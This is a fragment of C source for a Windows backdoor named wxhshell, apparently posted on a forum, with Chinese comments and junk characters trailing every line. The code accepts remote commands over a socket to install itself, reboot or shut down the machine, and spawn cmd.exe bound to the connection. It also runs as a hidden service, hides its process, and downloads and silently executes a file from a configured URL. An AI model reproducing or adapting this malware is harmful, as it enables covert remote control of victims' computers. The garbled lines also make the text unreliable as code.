      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *].qm g%  
    break; j]-_kjt  
  } p*1 B *R  
  // 安装 R S>qP;V*-  
  case 'i': { 4OAR ["f  
    if(Install()) O^ &m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<Ym&$xR  
    else L0{ [L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )3 f\H  
    break; q^ &r<i  
    } S$40nM  
  // 卸载 7dE.\#6r  
  case 'r': { ![I|hB  
    if(Uninstall()) Dwr"-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OP=-fX|*Q  
    else `]l|YQz\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k#/cdK!K  
    break; #2Vq"Zn  
    } p)m5|GH24  
  // 显示 wxhshell 所在路径 >b:5&s\9  
  case 'p': { *c$UIg  
    char svExeFile[MAX_PATH]; mxpw4  
    strcpy(svExeFile,"\n\r"); '|Lv -7  
      strcat(svExeFile,ExeFile); f|/ ,eP$  
        send(wsh,svExeFile,strlen(svExeFile),0); g"c7$  
    break; ^;[_CF _  
    } $Tt.r  
  // 重启 @W==)S%O  
  case 'b': { :>H{?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ug"4P.wI  
    if(Boot(REBOOT)) )7#3n(_np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N K@6U_/W  
    else { TnKOr~@*  
    closesocket(wsh); hOFvM&$  
    ExitThread(0); >r}?v3QW  
    } .*W7Z8!e  
    break; Cy5iEI#  
    } xwHE,ykE  
  // 关机 c7WOcy@M  
  case 'd': { ,":_CY4(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t56PzT'M  
    if(Boot(SHUTDOWN)) {%&04yq+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S<i. O  
    else { 2#/sIu-L  
    closesocket(wsh); X(8LhsP  
    ExitThread(0); ~RBa&Y=Mb  
    } ]ab q$Y'  
    break; W+4Bx=Mj  
    } (Gapv9R  
  // 获取shell VpY,@qh  
  case 's': { 8b4? O"  
    CmdShell(wsh); jJ'NYG  
    closesocket(wsh); "&;X/~j  
    ExitThread(0); *M>~$h7  
    break; w`M`F<_\:  
  } ![]6| G&  
  // 退出 bwszfPM  
  case 'x': { ]n:R#55A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i3$G)W  
    CloseIt(wsh); +t Prqv"(  
    break; vD/l`Ib:  
    } C58B(Ndo  
  // 离开 ^4Se=Hr z2  
  case 'q': { qa8?bNd'f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fgF@ x  
    closesocket(wsh); /V] i3ac  
    WSACleanup(); p=i6~   
    exit(1); Xw|-v$'y  
    break; v v5rA 6+  
        } J^PFhu  
  }  R; &k/v  
  } hD,|CQ  
9d=\BBNZ  
  // 提示信息 G_ ~qk/7mF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]'hel#L;l  
} mGmZ}H'{  
  } "W9z>ezp  
^![7X'!;pt  
  return; ~~t >;  
} ]xJ. OUJy  
/,$V/q+  
// shell模块句柄 28- z  
int CmdShell(SOCKET sock) I,]q;lEMt  
{ :RBeq,QaO  
STARTUPINFO si;  >Af0S;S  
ZeroMemory(&si,sizeof(si)); OKu~Nb*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z\n^m^Z =  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^i3!1cS  
PROCESS_INFORMATION ProcessInfo; aJ1{9 5ea  
char cmdline[]="cmd"; d+0= a]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qc3,/JO1  
  return 0; T5:xia>8O  
} /h]ru SI  
iorQ/(  
// 自身启动模式 6 lEv<)cC  
int StartFromService(void) vuJEPn%  
{ AOV{@ b(  
typedef struct _?I*:: I  
{ 34_ V&8  
  DWORD ExitStatus; g$/7km{TP  
  DWORD PebBaseAddress; pRjrMS  
  DWORD AffinityMask; wMCgL h\wi  
  DWORD BasePriority; ;W\?lGOs{  
  ULONG UniqueProcessId; (_gt!i{h  
  ULONG InheritedFromUniqueProcessId; Y\4B2:Qd9  
}   PROCESS_BASIC_INFORMATION; Cj YI *  
2)QZYgfh  
PROCNTQSIP NtQueryInformationProcess; 5rQu^6&  
KAu>U3\/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >5 Y.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2nL*^hhh  
WU,b<PU &  
  HANDLE             hProcess; 6%wlz%Fp  
  PROCESS_BASIC_INFORMATION pbi; "t-9q  
W!+=`[Ff  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Uy}(  
  if(NULL == hInst ) return 0; 'Ddzlip  
hyhm{RC?[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Ra8(KocD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :wUi&xw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '0I>  
um( xZ6&m  
  if (!NtQueryInformationProcess) return 0; Q `-Xx  
:C={Z}t/F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B9c gVTLj  
  if(!hProcess) return 0; ~JS@$#  
/o}i,i$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^^a%Lz)U  
xjrL@LO#  
  CloseHandle(hProcess); 1/?K/gL  
PZ?kv4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k6RH]Ha  
if(hProcess==NULL) return 0; ho^jmp  
d(KK7SQg  
HMODULE hMod; g{K \  
char procName[255]; m)r,  
unsigned long cbNeeded;  &!wtH  
K\mFb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y!q`o$nK  
b+$wx~PLi  
  CloseHandle(hProcess); ;r.#|b  
zp``e;gY  
if(strstr(procName,"services")) return 1; // 以服务启动 vM:c70=  
t=jG$A  
  return 0; // 注册表启动 ^U,Dx  
} {V8uk $  
u?'J1\z  
// 主模块 p$*P@qm  
int StartWxhshell(LPSTR lpCmdLine) ~I~lb/  
{ F9A5}/\  
  SOCKET wsl; =&DuQvN,  
BOOL val=TRUE; sJ5#T iX  
  int port=0; %D% Ok7s})  
  struct sockaddr_in door; +NeoGnj  
$)6M@S  
  if(wscfg.ws_autoins) Install(); ##Qy6Dc  
4Bt)t#0  
port=atoi(lpCmdLine); <@0S]jy  
Q6N?cQtOT  
if(port<=0) port=wscfg.ws_port; w")m]LV  
9j5-/   
  WSADATA data; 3[ xHY@c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /R>YDout}  
BE54L+$p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' hdLQ\J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kN 0N18E  
  door.sin_family = AF_INET; <5G 4|l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]x%sX|Rj  
  door.sin_port = htons(port); jc,Q g2  
-av=5hm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^}J,;Zhu5  
closesocket(wsl); .;(a;f+{;  
return 1; 19%zcYTe  
} C3 BoH&  
d vo|9 >  
  if(listen(wsl,2) == INVALID_SOCKET) { lB!M;2^)X  
closesocket(wsl); i8f+woZL  
return 1; bh3yH>Zns  
} wT-K g=-q  
  Wxhshell(wsl); 0}'/3Q  
  WSACleanup(); K%u>'W  
v`p@djM  
return 0; @![1W@J  
TpdYU*z_Br  
} 9`KFJx6D  
b S'dXP  
// 以NT服务方式启动 $0+&xJVn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }U%T6~_wR  
{ c}H}fyu%n  
DWORD   status = 0; p=|S %  
  DWORD   specificError = 0xfffffff; BQs\!~Ux2  
!"'6$"U\K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t oM+Bd:Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [lu+"V,<LJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X}ihYM3y/  
  serviceStatus.dwWin32ExitCode     = 0; 9 aKU}y  
  serviceStatus.dwServiceSpecificExitCode = 0; QB ;TQZ  
  serviceStatus.dwCheckPoint       = 0; yf4 i!~  
  serviceStatus.dwWaitHint       = 0; ~3%aEj  
TKVS%//  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j8^zE,Z  
  if (hServiceStatusHandle==0) return; ]K%d   
7`^=Ie%(K  
status = GetLastError(); KUU ZN  
  if (status!=NO_ERROR) ][XCpJ)8  
{ 5@pLGMHT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (CAkzgTfc  
    serviceStatus.dwCheckPoint       = 0; ^/xb-tuV  
    serviceStatus.dwWaitHint       = 0; @xk;]H80  
    serviceStatus.dwWin32ExitCode     = status; t[AA=  
    serviceStatus.dwServiceSpecificExitCode = specificError; .z*}%,G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0WyOORuK  
    return; 64^l/D(  
  } 7loWqZ  
V6kDyl(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ID<[=es6  
  serviceStatus.dwCheckPoint       = 0; KTeR;6oZn"  
  serviceStatus.dwWaitHint       = 0; ?JW/Stua  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jid_&\  
} o"kL,&  
_lC0XDZ  
// 处理NT服务事件,比如:启动、停止 "{c@}~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f'BmIFb#  
{ P0k.\8qz  
switch(fdwControl) Os!x<r|r  
{ 1@F>E;YjL=  
case SERVICE_CONTROL_STOP: X?(R!=a  
  serviceStatus.dwWin32ExitCode = 0; "I@akM$x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sLSH`Xy?5  
  serviceStatus.dwCheckPoint   = 0; d ]#`?}  
  serviceStatus.dwWaitHint     = 0; [<>%I#7ulG  
  {  @l&{ j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Nma %6PfV  
  } EoS6t  
  return; g!)*CP#;  
case SERVICE_CONTROL_PAUSE: 5,\|XQA5!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E 5mYFVK  
  break; ( efxw  
case SERVICE_CONTROL_CONTINUE: def\=WyK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x&$8;2&.  
  break; Digx#'#jf  
case SERVICE_CONTROL_INTERROGATE: %/SHB  
  break; v+( P4f S  
}; p4 $4;)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =GiN~$d  
} Z2-"NB  
aY DM)b}  
// 标准应用程序主函数 >LB*5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z$Qy<_l  
{ NFf` V  
0W~1v  
// 获取操作系统版本 L(C0236r  
OsIsNt=GetOsVer(); f>m ! }F:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #IJ6pg>K  
X+ /^s)  
  // 从命令行安装 ;{0%Vp{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8?w#=@s  
~3|)[R=+p1  
  // 下载执行文件 N{6-a  
if(wscfg.ws_downexe) { Q<yvpT(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t"5ZYa  
  WinExec(wscfg.ws_filenam,SW_HIDE); BHU=TK@GR  
} '<O.J(N~4!  
162Dj$  
if(!OsIsNt) { &G?w*w_n  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~ cI`$kJ  
HideProc(); $8Z4jo  
StartWxhshell(lpCmdLine); S7@/d HN  
} R_vK^Da  
else oq,*@5xV2  
  if(StartFromService()) &gI*[5v  
  // 以服务方式启动 :w7?]y6~S  
  StartServiceCtrlDispatcher(DispatchTable); F| P?|  
else 4{0vdpo3F  
  // 普通方式启动 Fu[GQ6{f  
  StartWxhshell(lpCmdLine); &<cP{aBa  
d^0-|sx  
return 0; E#cu}zi  
}
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只看该作者 1 发表于: 2006-10-10
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